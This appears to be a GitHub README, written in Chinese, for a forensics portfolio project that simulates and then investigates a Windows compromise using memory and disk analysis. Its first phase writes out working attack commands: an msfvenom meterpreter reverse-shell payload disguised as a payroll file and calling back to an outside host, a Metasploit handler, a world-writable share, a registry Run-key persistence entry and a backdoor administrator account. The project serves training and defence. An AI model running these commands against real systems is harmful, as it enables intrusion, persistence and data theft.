cyedara/DFIR-compromise-investigation

GitHub: cyedara/DFIR-compromise-investigation

一个完整的 DFIR 取证调查作品集项目,模拟并分析了一起 Windows 系统多阶段入侵事件,涵盖攻击复现、证据获取与深度内存取证。

Stars: 0 | Forks: 0

# DFIR-compromise-investigation 数字取证与事件响应作品集项目。 # 综合 DFIR 调查:终端被入侵与内存取证 ## 📌 执行摘要 ### 目标 调查一起疑似 Windows 10 系统被入侵事件,旨在识别恶意执行、进程注入、持久化机制、管理员账户滥用以及内部网络侦察行为。 ### 核心发现 确认这是一起多阶段入侵事件,始于伪装为工资单文档的恶意可执行文件(`Payroll_Doc_May_2026.exe`)。该 payload 绕过了标准执行控制,生成(spawn)了一个隐藏的 32 位交互式命令 shell(`cmd.exe`)。攻击者利用该 shell 积极地进行了以下操作: * 在目标用户的 `NTUSER.DAT` 配置单元下建立用户级持久化。 * 创建未经授权的恶意本地用户账户(`GoodTimes`、`Sharon`、`sharondd`)。 * 将权限提升至本地 `Administrators` 组。 * 配置多个未经授权的网络共享(`Goldmines`、`Diamondmines`、`Airport`),以便为横向移动或数据外泄准备数据。 ### 影响摘要 恶意用户账户被成功创建并被授予本地管理员权限。系统访问权限被提升至最高本地特权级别(`Administrators`),并且内部数据通过未经授权的网络共享暴露。 ## 💻 目标主机基线(SOFTWARE 配置单元元数据) * **产品名称:** Windows 10 Pro (EditionID: `ProfessionalEdition`) * **操作系统版本 / 发布:** 22H2 (ReleaseID: `2009`) * **构建架构:** CurrentBuild 22621 (BuildBranch: `ni_release`) * **受害者 IP 地址:** `192.168.47.15` *(通过 SYSTEM 配置单元 TCP/IP 接口识别)* * **系统根路径:** `C:\WINDOWS` * **注册所有者:** `cyedarago@g...` *(对应本地用户配置文件:`cyeda`)* ## 🔒 取证证据与证据保管链完整性 为保留证据价值并确保其可采性,在获取证据后立即计算了其加密哈希值。 * **容器文件路径:** `SuspectBox.vhd` * **内部文件夹结构:** `Exhibit001` * **取证磁盘映像名称:** `SuspectLaptop_128gb_E01` * **磁盘 MD5 哈希值:** `0154c54d5db99fbbf5194b0386fe0c2d` * **磁盘 SHA-1 哈希值:** `0d24278463da97a4259614b3b5fcde88c47ba8b9` * **内存转储文件名:** `memdump.mem` * **内存 SHA-256 哈希值:** `846517298567bdf139b333e9b6d30bec15b598642c97aeb1a08509201faeb2da` ## 💻 阶段 1:攻击模拟与威胁生成 为了有效防御,分析人员必须了解攻击者的技术。此阶段模拟攻击链以生成真实的取证痕迹。 ### 1. Payload 创建与分发准备 使用 `msfvenom` 生成了一个伪装成财务文档的恶意可执行文件。通过 Python HTTP 服务器托管并传递了该 payload。 ``` # 生成 reverse shell 可执行 payload msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.1.2.70 LPORT=4444 -f exe -o Payroll_Doc_May_2026.exe # 启动 staging server 以托管 payload 进行投递 python3 -m http.server 80 ``` * `![Payload 创建](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/01-payload-creation.png)` * `![Python 服务器设置](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/02-python-server.png)` ### 2. 命令与控制 (C2) 会话管理 在另一个终端上,`msfconsole` 启动了一个 multi-handler 来监听传入的 reverse shell 连接。 ``` # 初始化 Metasploit Framework 控制台 msfconsole # 配置 handler 以接收入站连接 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 10.1.2.70 run ``` * `![Metasploit 配置](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/03-msfconsole-setup.png)` * `![已建立活动会话](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/04-session-active.png)` ### 3. 数据收集、暂存与外泄 一旦建立起交互式访问,我便通过创建一个专用文件夹并将其在本地网络上共享,来模拟数据收集和暂存过程。 ``` # 创建 staging 文件夹 mkdir Goodiesbag # 将目标 PDF 文件移动到 staging 文件夹中 move "images.pdf" Goodiesbag\ # 将该文件夹公开为网络共享,以模拟远程数据收集 net share Goodiesbags=C:\Users\cyeda\Downloads\Goodiesbag /grant:everyone,FULL ``` * `![数据暂存](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/05-data-staging.png)` * `![创建网络共享](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/06-netshare-exfil.png)` ### 4. 持久化与权限提升 为了维持持久的控制,创建了一个管理员后门账户和一个注册表自动运行键。 ``` # 通过 autorun 条目建立 registry persistence reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "PayrollUpdate" /t REG_SZ /d "C:\Users\Public\Payroll_Doc_May_2026.exe" /f # 创建本地用户账户 net user sharonteams password123 /add # 将 backdoor 用户提升至本地 Administrators 组 net localgroup Administrators sharonteams /add ``` * `![注册表持久化键](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/07-registry-key.png)` * `![创建后门用户](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/08-user-creation.png)` ## 🔍 阶段 2:取证获取与痕迹收集 在系统遭遇入侵后,终端被隔离以保存易失性证据、获取数据、挂载加密卷并提取关键的取证痕迹。 ### 🛠️ 所用工具集 * **FTK Imager:** 捕获易失性内存 (RAM) 并进行全盘取证镜像。 * **Arsenal Image Mounter:** 用于取证挂载原始镜像和解密 BitLocker 卷。 * **KAPE (Kroll Artifact Parser and Extractor):** 自动化目标收集高价值分检痕迹。 ### 1. 证据保存与获取 * **内存捕获:** 使用 FTK Imager 捕获系统 RAM,以保存易失性执行数据(运行中的进程、网络连接、C2 会话)。 * **磁盘镜像:** 生成目标终端磁盘的未压缩原始取证镜像。 * `![取证获取](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/09-ftk-imaging.png)` ### 2. 卷挂载与解密 * 使用 **Arsenal Image Mounter** 挂载原始磁盘映像文件。 * 进行身份验证并解锁 **BitLocker 加密卷**,以获取对底层 NTFS 文件系统结构的访问权限。 * `![卷挂载](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/10-arsenal-mounter.png)` ### 3. 通过 KAPE 进行自动化取证分检 为了加快调查速度,将 **KAPE** 部署到挂载的映像上,以快速收集分析阶段所需的证据元数据: * **Windows 注册表配置单元:** `SAM`、`SYSTEM`、`SOFTWARE`、`SECURITY` 和 `NTUSER.DAT`。 * **Windows 事件日志:** 追踪登录会话、进程创建和服务修改的 `.evtx` 文件。 * **执行痕迹:** `Prefetch Files` 和 `Amcache.hve`,用于追踪二进制文件的执行历史。 * `![KAPE 收集](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/11-kape-triage.png)` ### 4. 高级注册表提取与事务日志恢复 处于“脏”状态的注册表配置单元通常包含未提交的事务日志(`.LOG1`、`.LOG2`),其中留有攻击者最近的命令记录。我手动暂存了这些配置单元,剥离了系统属性,并提取了事务数据以确保分析的准确性: ``` # 创建专用的本地工作区以进行分析 mkdir C:\Hives # 从挂载的驱动器 (F:) 递归复制所有 Registry hives 和事务日志 xcopy /chiky F:\Windows\System32\config\* C:\Hives\ # 移除隐藏和系统文件属性,以允许 forensic parsing tools 获得完全可见性 attrib -h -s C:\Hives\* /s /d ``` * `![注册表处理](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/12-registry-extraction.png)` ## 🧠 阶段 3:易失性内存取证与代码注入检测 为了揭示未触及磁盘的隐蔽攻击向量,我使用 **Volatility 3** 和 **Python 3** 对捕获的 RAM 转储进行了深入的内存取证调查。 ### 1. 初始执行向量分析 (`windows.pstree`) 利用从易失性内存中提取的进程树结构,我将入侵的源头追溯到了图形 shell 内的用户交互: * **触发点:** 合法的 Windows 用户 shell `explorer.exe` (**PID 3784**) 于 **08:09:59 UTC** 生成了初始的命令提示符 `cmd.exe` (**PPID 13440**)。 * **Payload 执行:** 在 **08:12:12 UTC**,用户配置文件启动了伪装成财务文档的恶意可执行文件:`C:\Users\cyeda\Downloads\Payroll_Doc_May_2026.exe` (**PID 14844**)。 * **架构异常:** 该二进制文件在 64 位架构上作为 32 位进程执行(`Wow64 = True`),这是在现代 Windows 环境中运行的已编译 C2 payload 或多阶段 reverse shell 的典型特征。 ### 2. 后渗透 Shell 识别 (`windows.pslist` / `windows.pstree`) * **隐藏的命令 Shell:** 在 **08:12:36 UTC**,恶意工资单进程(`PID 14844`)生成了一个隐藏的子命令解释器 `cmd.exe` (**PID 3968**),该解释器从 `\Device\HarddiskVolume3\Windows\SysWOW64\` 目录中调用。 * **控制台托管:** 此 shell 立即初始化了一个控制台主机跟踪窗口 `conhost.exe` (**PID 7208**),作为攻击者执行管理型后渗透命令的交互式运行时环境。 * `![Volatility 进程列表](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/13-vol-pslist.png)` * `![Volatility 进程树](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/14-vol-pstree.png)` ### 3. 检测恶意代码注入 (`windows.malfind`) 高级内存扫描隔离了主要 payload 上下文中活动的进程篡改行为。 * **权限异常:** 发现了一个从内存地址 `0x620000` 到 `0x64efff` 的虚拟地址描述符 段,其具有可疑的 **`PAGE_EXECUTE_READWRITE` (RWX)** 权限。 * **Magic Bytes 验证:** 对地址 `0x620000` 处的原始十六进制转储进行检查后,发现了一个独立的可执行文件 magic header(**`4d 5a` / MZ**)。由于此便携式可执行文件 (PE) 头部驻留在无文件支持的内存分配中,这为内存注入或进程镂空 提供了无可辩驳的证据。 * `![Volatility Malfind 分析](https://raw.githubusercontent.com/cyedara/DFIR-compromise-investigation/main/images/15-vol-malfind.png)`
标签:SecList, Web报告查看器, 内存取证, 安全报告, 库, 应急响应, 攻防复盘, 数字取证, 自动化脚本, 逆向工具